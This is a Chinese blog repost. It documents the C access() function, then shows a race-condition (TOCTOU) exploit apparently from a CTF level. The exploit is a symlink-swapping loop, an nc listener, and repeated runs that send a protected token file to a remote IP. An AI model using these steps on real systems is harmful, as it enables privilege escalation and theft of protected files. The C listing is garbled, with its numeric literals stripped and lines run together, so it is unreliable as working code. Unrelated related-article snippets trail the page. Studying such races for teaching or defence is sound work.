access()函数用来检查调用进程是否可以对指定的文件执行某种操作。

================================================================================

来自:https://blog.csdn.net/tigerjibo/article/details/11712039

1.函数功能:

检查调用进程是否可以对指定的文件执行某种操作。

2.函数原型:

1)函数头文件

#include <stdio.h>
#include <unistd.h>

2)函数

int access(const char * pathname, int mode)

3)形参

pathname:需要检测的文件路劲名

mode:需要测试的操作模式。

4)函数返回值说明

成功执行时,返回0。失败返回-1,errno被设为以下的某个值 
EINVAL: 模式值无效 
EACCES: 文件或路径名中包含的目录不可访问 
ELOOP : 解释路径名过程中存在太多的符号连接 
ENAMETOOLONG:路径名太长 
ENOENT:路径名中的目录不存在或是无效的符号连接 
ENOTDIR: 路径名中当作目录的组件并非目录 
EROFS: 文件系统只读 
EFAULT: 路径名指向可访问的空间外 
EIO:输入输出错误 
ENOMEM: 不能获取足够的内核内存 
ETXTBSY:对程序写入出错

5)mode说明

R_OK 测试读许可权
W_OK 测试写许可权
X_OK 测试执行许可权
F_OK 测试文件是否存在

================================================================================

常见的用法是先用access()函数判断文件是否可以操作,然后再通过open()函数对文件进行相应操作。但是这两者之前存在一个时间差,从而形成了时间条件竞争漏洞,越权读取文件。

参考下面的代码:

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h> int main(int argc, char **argv)
{
char *file;
char *host; if(argc < ) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[]);
exit();
} file = argv[];
host = argv[]; if(access(argv[], R_OK) == ) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, ); memset(&sin, , sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
} #define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY);
if(ffd == -) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
} rc = read(ffd, buffer, sizeof(buffer));
if(rc == -) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
} write(fd, buffer, rc); printf("wrote file!\n"); } else {
printf("You don't have access to %s\n", file);
}
}

先通过access()判断传参文件是否可读(注意:这里access()函数检查的是ruid,而不是euid),然后open()打开文件进行读取并发送数据。access()与open()之间存在时间差,且由于这里access()判断的是ruid,所以可以通过频繁改变目标文件,使得access()和open()判断的不是同一个文件,即可越权打开文件

*****************************************************************************

*利用方法:

假设token文件为当前用户不可读

1、编写脚本,将有权限与没有权限的文件循环指向同一个文件

while true;
do
ln -sf /home/flag10/token /tmp/ttt
ln -sf /tmp/aaa /tmp/ttt
done

2、攻击侧监听18211端口

while true;do nc -lvnp ;done

3、执行该程序,获取文件

while true;
do
/home/flag10/flag10 /tmp/ttt 10.211.55.2
done

Linux C:access()时间条件竞争漏洞的更多相关文章

  1. MOTCF 没时间解释了 条件竞争漏洞

    moctf 没时间解释了 条件竞争漏洞 题目链接 条件竞争: 在本题目中,上传文件的时候服务器无条件的接收任何类型的文件,但是你上传之后服务器会给你的文件内容修改为too slow. 比如你上传了一句 ...

  2. MySQL/MariaDB/PerconaDB-提权条件竞争漏洞

    背景 2016年11月01日,国外安全研究员Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/ ...

  3. 条件竞争(race condition)

    条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生. 参考了一些资料,发现一个比较能说明问 ...

  4. [原题复现]2018HCTF WEB admin(session伪造、unicode漏洞、条件竞争)

    简介  原题复现:https://github.com/woadsl1234/HCTF2018_admin  考察知识点:session伪造.unicode漏洞.条件竞争  线上平台:https:// ...

  5. CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  6. Linux同步机制(二) - 条件变量,信号量,文件锁,栅栏

    1 条件变量 条件变量是一种同步机制,允许线程挂起,直到共享数据上的某些条件得到满足. 1.1 相关函数 #include <pthread.h>  pthread_cond_t cond ...

  7. Linux互斥锁、条件变量和信号量

    Linux互斥锁.条件变量和信号量  来自http://kongweile.iteye.com/blog/1155490 http://www.cnblogs.com/qingxia/archive/ ...

  8. [转帖]预警 | Linux 爆“SACK Panic”远程DoS漏洞,大量主机受影响

    预警 | Linux 爆“SACK Panic”远程DoS漏洞,大量主机受影响   https://cloud.tencent.com/developer/article/1447879 所有的 版本 ...

  9. linux概念之时间与时区

    http://www.cnblogs.com/liuyou/archive/2012/07/29/2614338.html Linux时间基准 以上我们了解了RTC(实时时钟.硬件时钟)和OS时钟(系 ...

随机推荐

  1. C#学习笔记(二):变量、数据类型和运算符

    变量.数据类型       给变量赋值,如果想指定float,在数字后面加上F/f:如果想指定decimal,在数字后面加上m.   0-9:48-57 A-Z:65-90 a-z:97-122   ...

  2. python 编程基础练习 第一天

    python 编程基础练习 第一天: 需求: 1.计算2的38次方,180*0.7输出(精度显示正常), x的y次方,数字倒序输出即345876输出678543,方法越多越好. 2.字符串处理: 1) ...

  3. MVC ---- 增删改成 EF6

    1.MVC EF6的增删改成小练习 namespace T4Demo { public partial class Form1 : Form { NBEntities nb = new NBEntit ...

  4. 关于xargs cp中,如何确定拷贝的源和目的 (copied)

    Seker: find . -name "*" |xargs cp ???? 这里 xargs cp 怎么区分cp源 和 cp目的 例如:想把 查询到的文件 都copy到/home ...

  5. AtCoder square869120 Contest #3 F sushi

    本文版权归ljh2000和博客园共有,欢迎转载,但须保留此声明,并给出原文链接,谢谢合作. 本文作者:ljh2000 作者博客:http://www.cnblogs.com/ljh2000-jump/ ...

  6. Python matplot画柱状图(一)

    图的存在,让数据变得形象化.无论多么复杂的东西,都是简单的组合. import matplotlib.pyplot as plt import numpy as np dict = {'A': 40, ...

  7. Hadoop 部分截图

  8. Codeforces 877E - Danil and a Part-time Job(dfs序+线段树)

    877E - Danil and a Part-time Job 思路:dfs序+线段树 dfs序:http://blog.csdn.net/qq_24489717/article/details/5 ...

  9. 表达谱(DGE)测序与转录组测序的差别

    DGE-seq和普通的transcriptomic profiling相比较有什么不同,有什么特点? DGE就是用酶将mRNA切断,只使用靠近poly A的一小段RNA去测序. #1 由于不是测定mR ...

  10. consensus sequence

    consensus sequence:称为一致序列.一些遗传元件(如启动子)中反复出现且很少有改变的DNA序列.不同种生物编码同一种蛋白质的基因也会有共有序列.通过序列比较发现相似但不一定完全相同的核 ...